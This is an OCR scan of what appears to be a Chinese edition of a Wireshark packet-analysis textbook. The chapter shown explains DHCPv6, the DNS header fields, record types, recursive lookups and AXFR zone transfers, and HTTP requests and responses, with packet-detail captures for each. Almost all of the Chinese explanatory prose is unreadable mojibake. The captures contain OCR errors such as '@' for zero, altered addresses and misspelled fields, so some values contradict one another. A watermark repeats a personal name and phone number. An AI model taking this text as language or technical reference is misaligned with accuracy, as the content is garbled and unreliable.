L 31.. fe8@::28c:29Ff:fe5e:7744 f02::1:2 DHCPvE 164 Request XID: @x2d1683 CID: #0@100811def69hd@adC295e7744 TAA: 2801:db8:1:2::1602
4 1... fe88::20c:29fF:felf:a755 TeB0::20c:29ff:feSe:7744 DHCPvE 166 Reply XID: @x2d16@3 CID: B@8188081ldef63bd@sdc295e7744 IAA: 2081:db3:1:2::1882

9-9 & F %8 it DHCPV6 3R1F—A~ IPv6 Huht

SR UL, DHCPv6 Al DHCP M G451 A R KX, AH 275 DR SEal
B R, XN FRAR S DHCP R 55 8% & BB AN IE A i B A5 2
SRUP IR . X LAl 7% P i AR 55 48 L A2 AR b 45 ID TR
. fE411 DHCP HLEIAS SRR 1Pve HhhEATAC, (R, SRR 15 2% e 0% M 2%
AN R 5 45 E B3R IPve Hidik, X R WIAR I I 2% Hh L2 fE32 4T DHCPv6
MR45. tnSRARARE B — 5 b DHCP Al DHCPv6, FATTE /RS 4N E T BA
P v AR 55 2 v 1A A2 BEAT 0 AT o

9.2 WHRG

W4 24t (Domain Name System, DNS) & i B 2 H B il —, BN

FEART A FRIZE 7). DNS 5180 Google 4% AT 74.125.159.99 ) TP Mk

HGPEER . HIRATAR LN — & 25 A& IS EN AN FIE S 1Y IP Hubky, mhn] DU
F'E ) DNS 45Kt AT 151

DNS IR55 28474 T — A% 1P bk Al DNS 44 7 B S 8 I 0 sk O B0 /2
FeAa FLRNE ity DA K FoAth DNS AR 55 #5352

il

g 8T DNS R4 B9 2, B &A1 R &2 TFid % £ % 49 DNS /A=,

HOE ENSBEMEHY 173
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9.2.1 DNS

4B 9-10 Fr7r , DNS Hdis (L AERATT 2 i BT 2K 8 R SRR E5 R AT BT AN 7]
DNS e 0 72 H I i 1 — 23

i %4 (DNS)

Rt |/ \iee 0 1 2 3
iz | 0-7 8-15 16-23 24-31
o | o DNS D€ Q| mtem [A|L[BIR] z | mmm
4 | 32 e I
8 | o4 L2 IR %5 B FIMERIH
12+ | 96+ FIEE B EIEXE

A< B FIMEBXE

[E] 9-10 DNS k3% Lt

DNS ID 5 (DNS ID Number): H>KXJ . DNS £ if] il DNS i o

&Eif)/Mz (Query/Response, QR): F K45 XN ¥ 0.2 DNS & iffik &
] B

#R1EFS (OpCode): HIKE SUH B AIER AL,

W EiRZ % (Authoritative Answer, AA): 11 50w 3 B s 61 p 3 T X AME,
D56 BH X A 0 7 s FH 385 A BB 44 iR 55 2% R HE T o

W7 (Truncation, TC): FiRFEBAIX AN R TR, ToikdE N am
AT

HAEEj#Y3 (Recursion Desired, RD): WIRTEERP&E T XAME, W
B DNS & /i 78 H Anik 4 iR 55 28 A& A g oRAE BB T, ZRiti7 A
.

AJFi#Y3 (Recursion Available, RA): #1585z 1 iXAME, 15 EA
.44 R 55 A SRR V2

RE8 (Z): £ RFC1035 HIRLE F#5i% N4 0, (HA K24 FHRAIE N RCode
Y .

M85 (Response Code): £ DNS Hi i HH FH k45 B FE %
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9.2.2

[B)ERi+#L (Question Count): 1E 7] &5 [X B+ 1) 2% H %,

B &8 (Answer Count): 7E[RIZX B A4 HEL

132 AR 552881144 (Name Server Count): 7EAUE X B I8 44 % 50 5 %0

MO FEITEL (Additional Records Count): FE&IAME B X B b 1 HoAh ¥ U5
ek

B XEE (Question section): A/NAIAR, L8 E; &% F] DNS IR 5543 1
— kB Z A HE B AR

B ZEXEE (Answer section): K/NAJAR. A8 FIR[EIZ A& 1) — 2582 5%
HIFIEF o

B X EX (Authority section): K/NATAR, AL 48 [ AU 42 IR 55 2% 1 0%
YRk, F ULk Sf@ bl #2 .

ZAME E X E (Additional Information section): A/NA[ZF, G5 58HA
KIEAME S, BT 0] 25 BRI A 2 4006 D B BRI 3R o

DNS

DNS DA /i B (A TAF o 24— o AR 20— DNS 44 Tl ik
IP Hidikif, Bl 23 [F] DNS JR45 88 KiE— AN, SR 5 IR 55 # 2E e S B2 it i sk
M5B . TEEFERNBET, XM TR SENNRIEE, EnfEdk et
dns_query_response.pcap & FIIALEE

F-MEREWE 9-11 iR, Z&H 192.168.0.114 f1% F i@t DNS bR
1 25 ¥ & 1] 205.152.37.23 AR S5 4% ) DNS £,

MR AN BRI SRR, R I DNS i UDP Brl .

FEHHE ) DNS X B, AR LU B8 BTk 0 — L2 M # 8 Wireshark
GBINT — MrEX B (Flags section). EHXNXE, RESEIIXNEEZ
— AN TE SR A AT T HOP A Al CGRATBE 5 A s 0 & D
TERFFE W X BT, BRI — M. XA 2 A4 TN wireshark.org
PENEE (type A EIEM (IND Huhk. XN AIEAGZLE R “HEAS TP
Hihk X} 8% wireshark.org 3?7

Hm e 2 R I AMER, B 9-12 Fran. PO AN EEE A ME— bR
WL, BT DAFRATT RN TE X HE A A6 0T TR A 1A P L T

FIOE HEHISEMEWHL 175
B4bitXKensuke(18319066421) = {SEELRIY



M Wireshark - Packet 1 - dns_query_response - [m] X

Frame 1: 73 bytes on wire (584 bits), 73 bytes captured (584 bits)
Ethernet II, Src: HonHaiPr_6e:8b:24 (@@:16:ce:6e:8b:24), Dst: D-Link_21:99:4c (©0:05:5d:21:99:4c)
Internet Protocol Version 4, Src: 192.168.0.114, Dst: 205.152.37.23
User Datagram Protocol, Src Port: 1060 (106@), Dst Port: 53 (53) @
Domain Name System (query)
Response In: 2
Transaction ID: @x18ef
Flags: @x@18@ Standard query @

.. . = Response: Message is a query
. = Opcode: Standard query ()
. = Truncated: Message is not truncated
. = Recursion desired: Do query recursively
. = Z: reserved (@)
. = Non-authenticated data: Unacceptable

Cvvvwy

<

Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: @
Queries
v wireshark.org: type A, class IN @
Name: wireshark.org
[Name Length: 13]
[Label Count: 2]
Type: A (Host Address) (1)
Class: IN (@x@001)

<

No.: 1+ Time: 0.000000 - Source: 192.168.0.114 - Destination: 205.152.37.23 * Protocol: DNS - Lengeh: 73 * Info: Standard query (x180f A wireshark.org

9-11 DNS #4356

M Wireshark . Packet 2 . dns_query_response - o X

Frame 2: 89 bytes on wire (712 bits), 89 bytes captured (712 bits)
Ethernet II, Src: D-Link_21:99:4c (@0:05:5d:21:99:4c), Dst: HonHaiPr_6e:8b:24 (@@:16:ce:6e:8b:24)
Internet Protocol Version 4, Src: 205.152.37.23, Dst: 192.168.0.114
User Datagram Protocol, Src Port: 53 (53), Dst Port: 1060 (1068)
Domain Name System (response)
Request In: 1
[Time: ©.891164800 seconds]
Transaction ID: @x18ef @
v Flags: @x8180 Standard query response, No error @
Tooo ceen = Response: Message is a response
.000 0... Opcode: Standard query (@)
a.. = Authoritative: Server is not an authority for domain
= Truncated: Message is not truncated
= Recursion desired: Do query recursively
= Recursion available: Server can do recursive queries
= 7: reserved ()
= Answer authenticated: Answer/authority portion was not authenticated by the server
Non-authenticated data: Unacceptable
Reply code: No error (@)

Cvvvwv

Questions: 1
© Answer RRs: 1
Authority RRs: @
Additional RRs: @
Vv Queries
v wireshark.org: type A, class IN
Name: wireshark.org
[Name Length: 13]
[Label Count: 2]
Type: A (Host Address) (1)
Class: IN (@x@001)
vV Answers
v wireshark.org: type A, class IN, addr 128.121.50.122 @
Name: wireshark.org
Type: A (Host Address) (1)
Class: IN (9x0001)
Time to live: 14400
Data length: 4
Address: 128.121.58.122

No.: 2 - Time: 0.091164 - Source: 205.152.37.23 - Destination: 192.168.0.114 * Protocol: DS - Length: 89 - Info: Standard query response 0x180f A wireshark.org A 126.121.50.122

o

[ 9-12 DNS vh #3486
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P i DX B AT DU PR3 & — AN B 3 HL o v 00 B2 10 38 5 o IX AN B0 B A
B AR — AN BEEIG SR, PO TR ) R BB TR . R ITIE
X BT AR BIXF &A1 25 wireshark.org AL 2 128.121.50.122.
ATREMER, B uish ol T E M e 1P B4l 1, IF5 wireshark.org 4T
BET .

9.2.3 DNS

DNS 25 ) AW 7 A e A P (SR 3K, 8 T 7 34 28 78 o i 2 ) B8 90 3%
KM, 3R 92 B T — LW A B/BIRIC R R . IR R R EM A,
(IREE Rl T SiCh

% 9-2 %M DNS FRizEER

& il HiiR

1 A IPv4 E UL

2 NS BRI 44 IR 55 3

5 CNAME TG 44

15 MX HR {22 45

16 TXT SCR TR R

28 AAAA IPv6 FH L HL

251 IXFR B X 1%

252 AXFR ST X AR fL 1%
9.2.4 DNS

BT ELECM Y DNS 5972 JZ 2N, BRIy 1 RE68 (8] 2 25 1 i 52 22 1Y)
A, DNS JIR 5525 0 AR 1 BLIE A5 o FRATTHI N & DNS IRk 55 5 5018 A
Jea 358 0 il 5% 8 1 44 7R TP Mk I B SRE, HAS KA BEATIE Google B Dell
(¥ 1P M ik

2 DNS k%548 f5 Z A —A 1P Hibbiy, B2 AR K HI1E K 1% i 1) )
—/> DNS R&as T &M . bR b, XA~ DNS RS #5% 7 i 47 N AH [ o
XA IR AR 326 A 2T 3

FIHF 3 dns_recursivequery client.pcap, AJ LA%3 1l 2| DNS 25 7 b A1 iz 5%
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PRAL A B A B R o XA SCR LS T SR S DNS I SO A AN B
£, E— R M DNS & i 172.16.0.8 41 DNS %22 172.16.0.102 [
VIEAE W, Wk 9-13 Fizs.

M Wireshark - Packet 1. dns_recursivequery_client - [m] X

> Frame 1: 76 bytes on wire (6@8 bits), 76 bytes captured (608 bits)
> Ethernet II, Src: HewlettP_bf:91:ee (@@:25:b3:bf:91:ee), Dst: Vmware_92:94:9f (80:0c:29:92:94:9f)
> Internet Protocol Version 4, Src: 172.16.0.8, Dst: 172.16.0.102
Vv User Datagram Protocol, Src Port: 56125 (56125), Dst Port: 53 (53)
Source Port: 56125
Destination Port: 53
Length: 42
v Checksum: @x58ca [validation disabled]
[Good Checksum: False]
[Bad Checksum: False]
[Stream index: @]
Vv Domain Name System (query)
Response In: 2
Transaction ID: @x8b34
v Flags: @x@10@ Standard query
= Response: Message is a query
= Opcode: Standard query (@)
= Truncated: Message is not truncated
....... . = Recursion desired: Do query recursively @
+ «@.. .... = Z: reserved (0)
........... @ .... = Non-authenticated data: Unacceptable
Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: @
Vv Queries
v www.nostarch.com: type A, class IN @

Name: www.nostarch.com
[Name Length: 16]

[Label Count: 3]

Type: A (Host Address) (1)
Class: IN (@x@eel)

No.: 1 + Time: 0.000000 - Source: 172.16.0.8 - Destination: 172.16.0.102 - Protocol: DNS - Length: 76 - Info: Standard query 0x8534 A www.nostarch.com

.

9-13 XK EAH £ )A{169 DNS &1

MR EFF XA ) DNS X B, 7] DUE 2K & — AN H LAE K DNS 4
X www.nostarch.com ] A ZRANESRPIFRHER . BT EXE, "L T EL
KRTFRENMARARE S, R0 LA B 3 bR & .

BN A AR A EE B T, mE 9-14
Fras o

AN BIRERFES 1D FMBATHR A RATUCHS, WA F B ER, BT AFRA T
1537 www.nostarch.com FTX N 1 A SERYEIRICS .
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M Wireshark - Packet 2 - dns_recursivequery_client -

> Frame 2: 92 bytes on wire (736 bits), 92 bytes captured (736 bits)
> Ethernet II, Src: Vmware_92:94:9f (80:0c:29:92:94:9f), Dst: HewlettP_bf:91:ee (8@:25:b3:bf:91:ee)
> Internet Protocol Version 4, Src: 172.16.8.102, Dst: 172.16.0.8
> User Datagram Protocol, Src Port: 53 (53), Dst Port: 56125 (56125)
v Domain Name System (response)

Request In: 1

[Time: ©.183134000 seconds]

Transaction ID: @x8b34 @

v Flags: @x818@ Standard query response, No error

Love tine venn s = Response: Message is a response

- = Opcode: Standard query (@)
.e.. = Authoritative: Server is not an authority for domain
..0. = Truncated: Message is not truncated

Recursion desired: Do query recursively
= Recursion available: Server can do recursive queries
Z: reserved (@)

Questions: 1
Answer RRs: 1
Authority RRs: @
Additional RRs: @
¥ Queries
v www.nostarch.com: type A, class IN
Name: www.nostarch.com
[Name Length: 16]
[Label Count: 3]
Type: A (Host Address) (1)
Class: IN (@xeeel)
¥ Answers
¥ www.nostarch.com: type A, class IN, addr 72.32.92.4 @
Name: www.nostarch.com
Type: A (Host Address) (1)
Class: IN (@xeeel)
Time to live: 36@@
Data length: 4
Address: 72.32.92.4

..@. .... = Answer authenticated: Answer/authority portion was not authenticated by the server
........... @ .... = Non-authenticated data: Unacceptable
............ @000 = Reply code: No error (@)

No.: 2 » Time: 0.183134 - Source: 172.16.0.102 - Destination: 172.16.0.8 + Protocol: DNS - Length: 92 - Info: Standard guery response (k8534 A www.nestarch.com A 72.32.92.4

Close

Help

9-14 DNS & i4vh L

U AR FRAN VAR S NS ) e S A N, ME— DT VE LR AT I H A
R DNS RS #s s, IEWSCHF dns recursivequery server.pcap H 7R (H]
HERE . A SR T AW EBETE At DNS R 3= a3k, il 9-15 fr
o H— MBI THT— MNMH SO I E AR . IXEF, DNS k%
AR T RRAEW, EHRAMEEANES, KIEIHFAFIERT DNS B4
(nostarch.com) JIxf 87 IP HhbiX A Al B 52 . BT X MU B RER R E T
WA, WIIRSAESE N R EhE S, XA DNS kRS54 y 171382 %

HoAth DNS il 45 %5 11 o) 31X 4[] it

FIOE ELSEMEMHIL
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No. Time Source Destination Proteccal Length Info

i 10.. 172.16.9.8 172.16.8.182 DNS 76 Standard query @x8b34 A www.nostarch.com
2 0... 172.16.9.182 4.2.2.1 DNS 76 Standard query @xf34d A www.nostarch.com
3 8. 4.2.2.1 172.16.8.162 DNS 92 Standard query response @xf34d A www.nostarch.com A 72.32.92.4
4 8... 172.16.8.182 172.16.9.8 DNS 92 Standard query response @x3b34 A www.nostarch.com A 72.32.92.4

9-15 MR4-2349 /A F 14T DNS &1

EE - ABERA T, 7T 172.16.0.102 [F) DNS R%#80 4.2.2.1, i EH
B SE B i FATIE REOIRSS 2%, K& T —DNERER, W& 9-16 fim. iX
MR ERIGI 815, I DNS RS 248/l — % P i

‘ Wireshark - Packet 2 . dns_recursivequery_server - m} X

> Frame 2: 76 bytes on wire (608 bits), 76 bytes captured (608 bits)
> Ethernet II, Src: Vmware_92:94:9f (@@:0c:29:92:94:9f), Dst: Ciscolnc_31:07:33 (00:26:0b:31:07:33)
> Internet Protocol Version 4, Src: 172.16.0.182, Dst: 4.2.2.1 (’
> User Datagram Protocol, Src Port: 62578 (6257@), Dst Port: 53 (53)
v Domain Name System (query)
Response In: 3
Transaction ID: @xf34d @
> Flags: @x@10@ Standard query
Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: @
v Queries
v www.nostarch.com: type A, class IN
Name: www.nostarch.com
[Name Length: 16]
[Label Count: 3]
Type: A (Host Address) (1)
Class: IN (@xeeal)

No.: 2 - Time: 0.000379 - Source: 172.16.0.102 - Destination: 4.2.2.1 * Protocol: DNS - Length: 76 - Info: Standsrd query Qa34d A www.nostarch.com

9-16 i#%)2 DNS £14)

HTXANFHS ID 52 aiidkocth b 345 ID ANFE, BT LB EAE
HN—AH AW . BRI EMRS 8 4.2.2.1 #2002 5, AHh DNS Ik 285t
R TmN, WE 6-17 Fis.

R TIXAWIN G, A DNS AR 55 a5t ] LLRE 28 D04, a2 fm —
AIERAE S B A2 1% 25 DNS 27 i o

BEARXAGF RER T —Z M E, (HXF—4 DNS i 3R K Ut 15 7 1)
AlRE 2 RAEMR Z K. X B RATHER) 7R H DNS IR %% 4.2.2.1 B9 R1%, HI
MREGZATREA T FHRE R W HALRSHET T EHAER. — R A
VTR A3 B 280 B 2 Ji AT R [ T At A, 8] 9-18 JE o T i )5 DNS £ if)
13 2
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‘ Wireshark - Packet 3 - dns_recursivequery_server

Frame 3: 92 bytes on wire (736 bits), 92 bytes captured (736 bits)

User Datagram Protocol, Src Port: 53 (53), Dst Port: 62578 (£2578)
Domain Name System (response)
Request In: 2
[Time: @.182223888 seconds]
Transaction ID: @xf34d
Flags: @x818@ Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: @
Additional RRs: @
¥ Queries
* wwwi.nostarch.com: typc A, class IN
Name: www.nostarch.com
[Name Length: 16]
[Label Count: 3]
Type: A (Host Address) (1)
Class: IN (@x@eol)
~ Answers
¥ www.nostarch.com: type A, class IN, addr 72.32.92.4

>

>

» Internet Protocol Version 4, Src: 4.2.2.1, Dst: 172.16.8.182
>

v

v

Name: www.nostarch.com
Type: A (Host Address) (1)
Class: IN (@x80881)

Time to live: 3688

Data length: 4

Address: 72.32.92.4

Ethernet II, Src: Ciscolnc_31:07:33 (@9:26:0b:31:67:33), Dst: Vmware_92:94:9f (89:0c:29:92:94:9f)

No.: 3 - Timer OL182602 « Source: 4.2.2.1 + Destination: 172.16.0.102 + Protocol: DNS - Length: 92 - Info: Standard quen response (aF49d A www.nostaoh.oom A 72.32.92

9-17 xTi% )3 DNS 214 & vf KL
- e BT
o (o]
BN = BINIRL =
/RN
DNSZ ik A HIDNSHR 5 58 ShHBDNSHR % 28

9-18 DNS i# )32 &4

9.2.5 DNS
DNS [X382&—> DNS k&% i bUE P 44 7250 (82 —2H DNS 4#50.
ZEfKA, Emma’s Diner 3X/ME5 AT BEFH—) DNS JIRF5#54T emmasdiner.com 157,
IXFE, JGiR/& Emma’s Diner WHERE /MR B A, WA EH emmasdiner.com fi#
MRk 1P ik, #FEEAIXAS XA, Wl2ix 4> DNS RS AR, Wk
Emma’s Diner &KJEH KT, EFRESIEIMN—/ DNS k5548, L THRAHEH AT

%(9&% ENR

B4bitXKensuke(18319066421) = {SEELRIY
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75 [B]f¥) email 3343, LLAN mail.emmasdiner.com, HBAIXARSGZS, WA AR
T . AR B, ]
DI T AN E £ 10 DNS e, | =
e 9-19 s

I 5 1 56 A T T 3| ebremmasdiner.com
BT E, AW B RS AR IE
DOIRE G . 2k, fEIA 2
DNS 55 a5 I, B3 5L iE
B E — & % H DNS iR&54, H » o cart.web.emmasdiner.com
44— £ iR 5% # DNS 15 BRI =
A, LABFIEE DNS RS # A aT Al o | mailemmasdiner.com
FEAFAE IR X IR 1% =

TR XEEZE (AXFR): XA 9-19 DNS RX| 4 % 4R % 8 49 Fr 12
TR PR A% 35 0 A X S A 1 % ) it
ITHEi%

e XIFfEiE (IXFR): XN L IRAAE R XI5 B —3 5.

AF dns_axfr.pcap fLE T —AFEHL 172.16.16.164 F1 172.16.16.139 2 [A]H#HT
SERE X I AL L 1

M —IRE XA AR, JRATRE S IREE R FE 130/, B AR B LRI
& TCP i ¥a i A& UDP #diH . HE DNS T UDP #hill, HEELWX
AL — AT 55 S TCP B, [RISN TCP % - MU S (0 A& 50 58 inml
o XA RT3 MR TCP [ =IkIETF

PSR AT AELE 172.16.16.164 F11172.16.16.139 22 8] 3#E47 2 b (1) [X 38 4%
%o XM EIR I AT DNS /58 . BT X% 238 oKk i $ds 0 oh i B0
HEZN IR AT ARE, Fbx M e bsic A EHSE PDU 1) TCP .
Patl 4 F1 6 B 5 T HIEEMEHE . SR 5 20T EdEa 4 gk shEfurmiil
X K A DI P 2R R SR 2 RN Wireshark HY T AT 2% (K% Fl: TCP %
PR 2. X BEIRANTAT LU R 6 1E 85881 DNS XL 115K,
K 9-20 Fios.

X I AEIETE R e AR A ), (HETERIZ AXFR R MA 2 —id %K
R, XEWRE T A EMNIRS 243 DNS X, RS2y 7 hmE T
Xigidsx, Wik 9-21 Fran. IEWARAT ILBIRHSHE, XIE s 7S 2 15
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i, I HIZIE 2 — MR 5 R XSRS R 5, l3R3CAFLL TCP &

EeAIE2 b U (BN

‘ Wireshark - Packet 6 - dns_axfr = m) X

Frame 6: 87 bytes on wire (696 bits), 87 bytes captured (696 bits)
Ethernet II, Src: Vmware_7e:ec:a4 (@@:8c:29:7e:ec:a4), Dst: Vmware_ce:dl:9e (@@:0c:29:ce:dl:9e)
Internet Protocol Version 4, Src: 172.16.16.164, Dst: 172.16.16.139
Transmission Control Protocol, Src Port: 1188 (1108), Dst Port: 53 (53), Seq: 1576704528, Ack: 451899203, Len: 33
[2 Reassembled TCP Segments (35 bytes): #4(2), #6(33)]
Domain Name System (query)
Response In: 7
Length: 33
Transaction ID: @x@887
Flags: @x@1@@ Standard query @
Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: @
V¥ Queries
Vv contoso.local: type AXFR, class IN

Name: contoso.local

[Name Length: 13]

[Label Count: 2]

Type: AXFR (transfer of an entire zone) (252)

] Class: IN (@x0001)

Cvvvvy

v

No.: & » Time: 0.218656 - Source: 172.16.16.164 + Destination: 172.16.16.139 * Protocol: DNS - Length: 87 - Info: Standard query 0x0007 AXFR contoso.local

9-20 DNS T ¥ R iifE 45K

M Wireshark - Packet 7 - dns_axfr

Frame 7: 1218 bytes on wire (9680 bits), 1210 bytes captured (968 bits)
Ethernet IT, Src: Vmware_ce:d1:9e (88:0c:29:ce:dl1:9e), Dst: Vmware Je:ec:ad (80:
Internet Protecol Version 4, Src: 172.16.16.139, Dst: 172.16.16.164
Transmission Control Protocol, Src Port: 53 (53), Dst Port: 1188 (11@8), Seq: 451899203, Ack: 1578784561, Len: 1156
Domain Name System (response)
[Request Tn: 6]
[Time: ©.821769000 seconds]
Length: 1154
Transaction ID: @x007
Flags: @x818@ Standard query response, No error
Questions: 1
Answer RRs: 21
Authority RRs: @
Additional RRs: @
Queries
~ contoso.local: type AXFR, class IN
Name: contoso.local
[Name Length: 13]
[Label Count: 2]
Type: AXFR (transfer of an entire zone) (252)
Class: IN (@x@ee1)
¥ Answers
contoso.local: type SOA, class IN, mname dns3.contoso.local
contoso.local: type A, class IN, addr 172.16.16.139
contoso.local: type NS, class IN, ns dns3.contoso.local
_msdcs. contoso. local: type NS, class IN, ns csanders-9ceael.contoso.local
_gc._tep.Default-First-site-Name._sites.contoso.local: type SRV, class IN, priority @, weight 10@, port 3268, target dns3.contoso.local
_kerberos._tcp.Default-First-Site-Name._sites.contoso.local: type SRV, class IN, priority 8, weight 168, port 88, target dns3.contoso.local
_ldap._tcp.Default-First-Site-Name._sites.contoso.local: type SRV, class IN, priority @, weight 100, port 389, target dns3.contoso.local
_gc._tcp.contoso.local: type SRV, class IN, priority @, weight 108, port 3268, target dns3.contoso.local
_kerberos._tcp.contoso.local: type SRV, class IN, priority @, weight 18@, port 88, target dns3.centoso.local
_kpasswd._tcp.contoso.local: type SRV, class IN, priority @, weight 10, port 464, target dns3.contoso.local
_ldap._tcp.contoso.local: type SRV, class IN, priority @, weight 166, port 389, target dns3.contoso.local
_kerberos._udp.contoso.local: type SRV, class IN, priority @, weight 1@@, port 88, target dns3.contoso.local
_kpasswd._udp. contoso.local: type SRV, class IN, priority @, weight 106, port 464, target dns3.contoso.local
dns3.contoso.local: type A, class IN, addr 172.16.16.139
DomainDnsZones. contoso.local: type A, class IN, addr 172.16.16.139
_ldap._tcp.Default-First-Site-Name._sites.DomainDnsZones.contoso.local: type SRV, class IN, priority @, weight 100, port 389, target dns3.contoso.local
_ldap._tcp.DomainDnsZones.contoso.local: type SRV, class IN, priority @, weight 108, port 389, target dns3.contoso.local
ForestDnsZones.contoso.local: type A, class IN, addr 172.16.16.139
_1dap._tcp.Default-First-Site-Name._sites.ForestDnsZones.contoso.local: type SRV, class IN, priority 8, weight 168, port 389, target dns3.contoso.local
_ldap._tcp.ForestDnsZones.contoso.local: type SRV, class IN, priority @, weight 106, port 389, target dns3.contoso.local
contoso.local: type SOA, class IN, mname dns3.contoso.local

c:29:7e:ec:ad)

Cvvvw

<

WNo.: 7 - Time: 0240425 - Source: 172.16.16.135 - Destination: 172.16.16.164 - Frotoco: DN - Lengeh: 1210 - Info: Standard query resp._V 0 100 385 ches3.comoso.ocsl A 172.16.16.135 SRV 0 100 385 des3.contoso.focal SR 8 100 385 chs’.contosoocal SOA des3.contosa

;

& 9-21 EA#4T4) DNS TERxE 4
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25 R3St 2 0 BB Ao RBANATF F TSR AER. Akt @i —
/™~ DNS JR %25, AR AL E #AM %09 k25 4.

9.3 MO

HB AL S (Hypertext Transfer Protocol, HTTP) & /5 4EM (World Wide
Web) HHMERALE], o b 25 i i Web g 252830 B 7. H BT K23
HEl, HTTP =AML F AT LR R R &S . B —IXfEH Google % .
EHE Twitters K — 255, B 7E ESPN &G H I REM IRk L4y, RER
2xH ¥ HTTP.

TAA =LA HTTP LR BE R L, FOVEEAR B K EdE 1
I AEZRN SRR BMMEFSMBESIRT . X8, RATRE HTTP BLFR
IV

9.3.1 HTTP

HTTP & # R  %6 Web IR 5% 28 b 48 A0 08 8% 15 in] i 9 T2 . il 3R S 1k
http_google.pcap iz i T X AE—/ Mt H TCP 15 A& 2 Uil ) HTTP A& % 1451
Fo JBE LK P 172.16.16.128 F Google 1 Web il 45 2% 74.125.95.104 H] =k
ETF I,

EESN THEREZG, B MbaAN HTTP IR AR i R AT RSS2,
& 9-22 Fiizs.

HTTP #¥iE 1T TCP #5225 45 1 80 ¥ 1, tH5k2 HTTP @15 Ax
v 1 (8080 i I 5 # 4 A .

HTTP H4 0S8 e A 8 FIAIETE R A 1 —Fh IR # HTTP MLE R A
L1 BIE X0 IXEeiE R vESR B T 2 60k 0k & AR S B S R B .
K 9-22 iz, XANEERA I T2 GET, B % SK/AE i % JEbRiRAF (Uniform
Resource Indicator), I HiFRMAAZE HTTP/1.1. X5 B HJFERATX AN v
TR HTTP /) 1.1 BRA, T3 Web IR ZMIMREH & (1),

BTk, AR Web RSB AERTHOMGELRE . XEFEEESY 7 IE/E
MBI A (REE) . W2 1ES  (Accept Languages) # Cookie 15
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B B TFRIRAEED . NIRRT, RS a IR X SE R, ek g
B ity AR

M Wireshark - Packet 4 . http_google . O X

v
v

>

> Frame 4: 681 bytes on wire (5448 bits), 681 bytes captured (5448 bits)

> Ethernet II, Src: IntelCor_5b:7d:4a (@@:21:6a:5b:7d:4a), Dst: D-Link_21:99:4c (@0:05:5d:21:99:4c)

> Internet Protocol Version 4, Src: 172.16.16.128, Dst: 74.125.95.184

> Transmission Control Protocol, Src Port: 1606 (1606), Dst Port: 80 (88), Seq: 2082691768, Ack: 2775577374, Len: 627

> [Expert Info (Chat/Sequence): GET / HTTP/1.1\r\n]
Request Method: GET
@ Request URI: /
Request Version: HTTP/1.1
Host: www.google.com\r\n
User-Agent: Mozilla/5.@ (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: IS0-8859-1,utf-8;9=0.7,%;q=0.7\r\n
Keep-Alive: 3@@\r\n
Connection: keep-alive\r\n
[truncated]Cookie: PREF=ID=2579132938e6c248:U=267c896b5f39Tb@b:FF=4:LD=en:NR=10:TM=1260730654:LM=1265479336:GM=1:5..
\r\n
[Full request URI: http://www.google.com/]

[HTTP request 1/1]
Response in frame: 12

No.: 4 - Timer 0.030248 * Source: 172.16.16.128 - Destination: 74,125.95.104 « Protocol: HTTP - Length: 681 « Info: GET / HTTR/1.1

& 9-22 #1% HTTP GET # K %48 &

AR5 AU R T R 4 R HTTP %R A, &2 N —4 TCP ACK,
USSR, FEEEHRE 6~11 HAEHATIERIEIE. HTTP Hpk F ko
F RS SRR B a4 AT BRI, BR T BRI T A A2 R
AN BINHEMEREET .

55 BB AL 6 A 7 HhORIEHE, HEE 8 &k B MmN, B
9 A1 10 2 BN B, B 11 2540k, Wi 9-23 iR, B
SR HTTP {5948 7 571X LA 4, {H BT A iX Lo 45 4 00 78 Wireshark H# 4% 5.7~ 9 TCP
Iy B A& HTTP 3 6.

Mo Time Scurce Destination Protocol Length Info
6 @... 74.125.95.184 172.16.16.128 TCP 146@ [TCP segment of a reassembled PDU]
7 @... 74.125.95.184 172.16.16.128 TCP 146@ [TCP segment of a reassembled PDU]
8 8... 172.16.16.128 74.125.95.164 TCP 54 1606 + 8@ [ACK] Seq=2882692395 Ack=2775580186 Win=16872 Len=0@
9 @... 74.125.95.184 172.16.16.128 TCP 146@ [TCP segment of a reassembled PDU]
18 8... 74.125.95.184 172.16.16.128 TCP 156 [TCP segment of a reassembled PDU]
11 @... 172.16.16.128 74.125.95.184 TCP 54 1606 + 88 [ACK] Seq=2882692395 Ack=2775581694 Win=16872 Len=8

B 9-23 & P 5% Y B A= Web IR 45 2 8] 212 B TCP 1% #4348
RS R/ G, SR EARRM OEW RIEE T, Wk 9-24 Fis.
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M Wireshark - Packet 12 - hitp_google - a X

> Frame 12: 591 bytes on wire (4728 bits), 591 bytes captured (4728 bits)
> Ethernet II, Src: D-Link_21:99:4c (@@:05:5d:21:99:4c), Dst: IntelCor_Sb:7d:4a (@0:21:6a:5b:7d:4a)
> Internet Protocol Version 4, Src: 74.125.95.104, Dst: 172.16.16.128
> Transmission Control Protocol, Src Port: 8@ (8@), Dst Port: 1606 (1606), Seq: 2775581694, Ack: 2082692395, Len: 537
> [5 Reassembled TCP Segments (4857 bytes): #6(1406), #7(1406), #9(1486), #10(102), #12(537)]
Vv Hypertext Transfer Protocol
v HTTP/1.1 208 OK\r\n
> [Expert Info (Chat/Sequence): HTTP/1.1 208 OK\r\n]
Request Version: HTTP/1.1
@ Status Code: 200
Response Phrase: OK
Date: Tue, @9 Feb 2010 ©1:18:37 GMT\r\n
Expires: -1\r\n
Cache-Control: private, max-age=0\r\n
Content-Type: text/html; charset=UTF-8\r\n
Content-Encoding: gzip\ri\n
Server: gws\r\n
Vv Content-Length: 4633\r\n
[Content length: 4633]
X-XSS-Protection: @\r\n
\r\n
[HTTP response 1/1]
[Time since request: ©.104147000 seconds]
Request in frame: 4
Content-encoded entity body (gzip): 4633 bytes -> 11388 bytes
> Line-based text data: text/html

No.: 12 - Time: 0.134395 - Source: 74,125.95.104 - Destination: 172.16.16.128 - Protocol: HTTP - Length: 591 - Info: HTTP/1.1 200 OK (text/hemi)

Close Help
Cdose ]7 b |

9-24 A AEA8 A 200 49 HTTP 4435 &

xE BEHFSHEAT, SRIEEF AN, RAZADTike) HTML £48, B AX
